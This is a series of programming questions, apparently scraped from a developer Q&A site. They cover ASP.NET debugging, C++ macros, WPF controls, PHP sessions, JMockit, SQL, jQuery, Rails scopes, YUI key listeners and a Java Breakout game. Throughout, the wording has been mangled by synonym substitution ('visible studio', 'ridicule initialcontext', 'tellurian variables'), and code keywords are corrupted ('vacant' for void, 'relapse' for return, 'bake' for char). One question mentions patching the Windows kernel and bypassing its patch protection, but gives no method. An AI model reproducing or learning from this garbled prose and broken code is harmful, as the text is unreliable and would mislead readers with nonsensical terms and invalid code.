when i supplement breakpoint strike f5 run debugger (i am controlling debug build), dialog pops adult explanation my web.config record does have debug=true (which does) i 2 choices a) run but debugger b) let visible studio transform web.config file. i select b) web.config updated badly zero work. i select a) following site appears i exam out, nonetheless debugging. i am an means developer, nonetheless i have never used visible studio asp.net web growth before, i am feeling rather undone walls putting adult hinder me working. so distant i have means debugger. there something totally apparent i am missing? check duty you?

what many tough know square c++ formula know?

today during work came opposing following formula (some competence praise it): #define get_val( val, form ) \ { \ assert( ( trill + sizeof(type) ) <= pmethodend ); \ val = ( *((type *&)(pip))++ ); \ } basically have byte array pointer. macro advantage anxiety non-static form lay pointer finish variable. it reminded me several times i indispensable "think parser" method know c++ code. do know formula examples caused stop review several times cell managed grasp suspect do?

transfer dependency ability value usercontrol control inside it

i have usercontrol (composite control) shown following pseudo xaml code: <usercontrol> <dockpanel> <textbox /> <button /> </dockpanel> </usercontrol> i tradition control garland places impression wpf style. impression sets credentials ability usercontrol color. nonetheless credentials tone drawn usercontrol's credentials surface, nonetheless i wish drawn wholly textbox control's background. i (color=red): if i bond credentials ability usercontrol textbox control's credentials property, i following one: now also paints credentials middle textbox control nonetheless credentials tone usercontrol still exists. there any ways mislay description usercontrol's background?

nt heart programming

i know where started, illusory offshoot into, patch windows kernel(xp up). i am personally prying program mcafee entercept, certain antivirus scanners patch kernel. i know feasable startup emanate program total functionality kernel(i am wakeful kpp, presumably bypassed), any remifications doing this. i amateurish rudimentary description, wholly have unparalleled trust win32. any assistance many appreciated, j further clarification: i am after engineer such, prying technically illusory pier something pax windows example. bad instance windows already an implementation, nonetheless i am prying identical technologies ported but carrying opening nt source.

creating common workspace asp.net ajax

here's feigned conditions i've wondering lately. suspect i have an interactive page combined asp.net ajax i wish churned users means manipulate during same time. best proceed say page's state? generally page comparatively ephemeral, quite need stored database? as petrify example, suspect i'm implementing simple diversion checkers. server needs say state house during times. clients need check board's station periodically, need means broadcast changes board. players leave, diversion ends, house longer indispensable server dispose it. i store all database, retrieving clients ask house update, saving server receives an update. nonetheless seems lot additional overhead. what stationary variables? arguable enough/efficient adequate job? there another storage apparatus i use? distant outmost boundary asp.net good i should looking during an wholly opposite record i ever wish exercise this? update: one discerning update, i another spin answers. after bit research,...

php event side-effect warning tellurian variables source data

i'm perplexing horde php web site given me. i warning: warning: unknown: your book possibly relies event side-effect which existed until php 4.2.3. greatfully be suggested event extension does cruise tellurian variables as source data, unless register_globals enabled. can invalidate functionality this warning setting session.bug_compat_42 or session.bug_compat_warn off, respectively. unknown line 0 what does mean? competence i lane down source problem within code?

how ridicule initialcontext category jmockit?

i'm controlling jmockit tests category i wish test, uses initialcontext directly. i have following: public category myclass { open vacant mymethod() { initialcontext ic = new initialcontext(); javax.mail.session mailsession = ic.lookup("my.mail.session"); // rest slight follows..... } in exam case, i "mocked" initialcontext class: mockit.redefinemethods(initialcontext.class, mockinitialcontext.class); what best proceed ridicule initialcontext category jmockit. i've already attempted few ways (such controlling possess mockinitialcontextfactory ), nonetheless retaining stumbling same error: noclassdeffounderror: my.class.mockinitialcontext from i google, scathing jndi definitely nasty. greatfully anyone yield me guidance, indicate me solution? many appreciated. conclude you.

how "holes" table

i recently hereditary database tables primary pivotal stoical encoded values (part1*1000 + part2). i normalized column, nonetheless i can't change aged values. so i have select id list method id id 100001 100002 101001 ... i wish "holes" list (more precisely, initial "hole" after 100000) new rows. i'm controlling following select, nonetheless there improved proceed that? select /* tip 1 */ id+1 newid table where id > 100000 and id + 1 (select id table) order id newid 100003 101029 ... the database microsoft sql server 2000. i'm ok controlling sql extensions.

is .net memory supervision faster managed formula internal code?

i have guess pristine cut presumably memory allocation faster managed formula internal formula - . maybe memory supervision underneath practical accessory faster since context-swapping calls os, nonetheless following i vm itself need periodic calls os some-more memory, supervision overheads memory itself rather os. rather origination unsubstantiated assertions i have, greatfully yield links references support your position.

string literals inside functions: involuntary variables allocated heap?

are twine literals inside functions involuntary variables? allocated store have giveaway manually? i've conditions formula shown next wherein i'm assigning twine verbatim private domain category (marked code) retrieving many after way controlling (marked two). am i assigning non-static smoke-stack domain one? formula referencing dangling pointer box worked since way little enough? i've collected ran it, worked glorious nonetheless i'm carrying uncanny wreck tangible way where i'm assigning twine literals fields category i think box i mentioned above. #include <iostream> using namespace std; class memoryleak { private: bake *s; public: memoryleak() {} vacant store() { s = "storing string"; // one } bake *retrieve() { relapse s; } }; int main() { memoryleak *obj = new memoryleak(); obj->store(); cout << obj->retrieve() << endl; // two mislay obj; relapse 0; } should i...

not vs exists

which queries faster? not exists: select productid, productname from northwind..products p where exists ( name 1 northwind..[order details] od where p.productid = od.productid) or in: select productid, productname from northwind..products p where p.productid ( name productid northwind..[order details]) the query execution digest says both same thing. case, permitted form? this formed northwind database. [edit] just found useful article: i cruise i'll hang exists.

good enterprising programming libel .net recommendation

well, after enlarged minute .net programs c# i started feel indignant undone syntactic rabble comes statically typed languages. i wish change boldly typed languages, takes advantage cli. so i searched bit around i didn't i saw. i initial looked ironpython. nonetheless digest feels disorganized, only didn't feeling good during all. following i listened boo. i favourite boo's, ideal all, nonetheless kinda feels digest halted. following i listened ironruby, nonetheless digest still during beta, i solid wait until gets some-more mature. so i couldn't good clr congruous enterprising language, i'm seeking guys you(would you) use? since started seeking reason selecting ironpython. good reason is, i staid earlier, seems disorganized. why? 1- homepage points another page during codeplex, homepage should purify only indicate advantages ironpython, take ironruby page an instance the hides language-developent things user(even nonetheless user opening ironruby's svn before ...

what genuine advantages visible studio organisation component database book (gdr)?

interested anyone used vsts database book extensively and, so, comforts many useful over customary visible studio database projects? what many compelled comforts opposing choice schema supervision options collection redgate's sqlcompare etc? edit : microsoft only expelled rtm chronicle database book (gdr) adds support sql server 2008 - couple . i've formerly blogged (briefly) has anyone luck any genuine work gdr? looks there genuine enhancements including refactoring support. i'd unequivocally prying hear controlling sql server 2008... download from: [

show wholly component jquery

i need arrangement wholly component during couple clicked on. right i'm intrigue stealing all again following toggling component clicked on. works, unless i wish all disappear again. brief adding "hide all" button/link i do? i means click couple again, bury it's content. edit: pseudo's formula have worked, nonetheless html here wrongly led trust links div. instead tracking down where were, easier id. here's i have far: $(document).ready(function(){ //hides everything $("#infocontent *").hide(); //now arrangement click on $("#linkjoedhit").click(function(event){ $("#infocontent *").hide(); $("#infojoedhit").toggle(); relapse false; }); $("#linkgarykhit").click(function(event){ $("#infocontent *").hide(); $("#infogarykhit").toggle(); relapse false; }); }); and html looks like: <div id="theircrappycode"> <a i...

how brand minimal set parameters describing information set

i have garland relapse exam data. any exam only list messages (associative arrays), mapping summary domain names values. there's lot practice within data. for example test1 = [ { sender => 'client', msg => '123', arg => '900', foo => 'bar', ... }, { sender => 'server', msg => '456', arg => '800', foo => 'bar', ... }, { sender => 'client', msg => '789', arg => '900', foo => 'bar', ... }, ] i paint domain information (as minimal-depth preference tree?) any summary programatically renewed controlling minimal array parameters. example, above foo always 'bar', i don't need plead it sender fan correlated, i wholly need plead other and msg opposite any time so i means reconstruct messages way along lines of write_msg( 'client', '123' ) write_msg( 'server', '456' ) write_msg( 'cli...

creating futile systematic list an systematic list

i have an concentration takes peculiarity law prolongation slight creates graphs both arrangement pareto charts bad, also arrangement prolongation throughput. to automate assign contrast statistical procedures i deterministically means supplement annals database have peculiarity tech certain graphs review famous good graph. but, i also duplicate law database user controlling by contrast process. one thought i have fill list i array good, j array bad1, k array bad 2, etc. following somehow incidentally arrange list before insertion database. so, question, there customary algorithm take sorted list values emanate incidentally sorted list?

naming conventions python library

i'm implementing hunt algorithm (let's myalg) python package. given algorithm super-duper complicated, package enclose an auxiliary category algorithm options. now i'm building whole package myself (and i'm programmer), however i design 1-2 programmers join digest later. initial digest secure outmost programmers. thus, method lifes easier, should i name class: options, optionsmyalg, myalgoptions anything else? what advise me review theme solely ? thank you yuri [cross posted here: transform answers both places]

do membershipproviders asp.net mvc impact stylesheet links?

i altered membershipprovider asp.net mvc website, stylesheet login page isn't referenced correctly. next duplicate forms add-on web.config reason. looks relating nonetheless generated new digest difference name timeout attribute. <authentication mode="forms"> <forms loginurl="~/account/login" name=".adauthcookie" timeout="10" /> </authentication> when i revisit page now, couple add-on css looks this: <link href="../content/site.css" rel="stylesheet" type="text/css" /> when should feeling this: <link href="../../content/site.css" rel="stylesheet" type="text/css" />

should i threading recursion together?

i have tinkering bsp trees while am also enactment threads. adding triangle bsp tree, an event arises emanate new thread functions guess information parallel. insert(triangle, bspnode) { .... else if(triangle spans bspnode) { (frontpiece, backpiece) = plane_split(triangle, bspnode) insert(frontpiece, bspnode.front) insert(backpiece, bspnode.back) } .... } the twin insert operations above executed twin threads, given cgange same data, inexpensive synchronization used. insert(triangle, bspnode) { .... else if(triangle spans bspnode) { (frontpiece, backpiece) = split(triangle, bspnode) hoop = beginthread(insert(backpiece, bspnode.front)) insert(frontpiece, bspnode.back) if(handle) { waitforthread(handle) } else { insert(backpiece, bspnode.front) } } .... } this new slight attempts emanate thread finish operation parallel, nonetheless should destroy thread can't combined (it simply return uncanny algorithm...

fast compiler blunder messages eclipse

as new obscure user, i am constantly angry enlarged takes compiler blunder messages display. mostly wholly problem enlarged errors don't fit station bar "problems" tab. nonetheless i adequate enlarged errors java—especially generics—that whinging issue. (note: repremand answer doubt "get improved during controlling generics." ;-) the ways i have found arrangement an blunder are: press ctrl+. govern management "next annotation". unbroken blunder highlighted the compared summary appears station bar (if brief enough). blunder also highlighted "problems" tab, open, nonetheless add-on automatically brought top. hover rodent over error. after conspicuous lag, blunder summary appears "tool tip", along any compared "quick fixes." hover rodent over blunder idol left side modifying pane. after conspicuous lag, blunder messages line seem "tool tip." clicking idol brings adult "quick fixes." what i ctrl+. automat...

rails named_scopes joins

i'm perplexing emanate named_scope uses join, nonetheless nonetheless generated sql looks right, outcome garbage. example: class trim < activerecord::base named_scope :visible, { :joins => "inner join array series.id = clips.owner_id middle join shows shows.id = series.show_id", :conditions=>"shows.visible = 1 clips.owner_type = 'series' " } (a trim owned series, array belongs show, arrangement manifest invisible). clip.all does: select * `clips` clip.visible.all does: select * `clips` middle join array series.id = clips.owner_id middle join shows shows.id = series.show_id where (shows.visible = 1 clips.owner_type = 'series' ) this looks okay. nonetheless indirect array trim models includes trim an id that's database - it's picked adult arrangement id instead. where am i going wrong?

prevent default function pivotal listeners yui

i have web page where i'd remap ctrl+n opposite behavior. i followed yui's instance register pivotal listeners duty called nonetheless firefox still creates new browser window. things seem work glorious ie7. i stop new window arrangement up? example: var kl2 = new yahoo.util.keylistener(document, { ctrl:true, keys:78 }, {fn:function(event) { yahoo.util.event.stopevent(event); // doesn't help alert('click');}}); kl2.enable(); it illusory mislay default behavior. google docs overrides ctrl+s save your request instead bringing adult firefox's save dialog. i attempted instance above ctrl+s nonetheless firefox's save dialog still pops up. given google stop save dialog opening adult i'm certain there's proceed hinder many default keyboard shortcuts.

need assistance accelerating goval vigilant (making dermatitis game)

hey peoples, i've study java integrate weeks, have solid furnish possess chronicle breakout. diversion operative fine, removed slight ostensible cgange round (goval) speed formed speed paddle (grect). anyway, method: private double paddlevelocity(){ double paddletracker=(paddlextracker+paddlextrackertwo+paddlextrackerthree)/3; //get normal x-coordinate paddle if(loopcounter>3){ //if diversion by loop some-more 3 times (to pledge 3 x-coordinates have stored) paddlevelocity=(paddle.getx()-paddletracker)/50; //set paddlevelocity tide paddle x-coordinate discount normal before 3 paddle x-coordinates (which therefore finds quickness direction) }else{ paddlevelocity=(paddle.getx()-paddlextracker)/50; //takes before paddle x-coordinate subtracts tide x-coordinate (which therefore finds quickness direction) } relapse (paddlevelocity); } and slight calls it: private vacant det...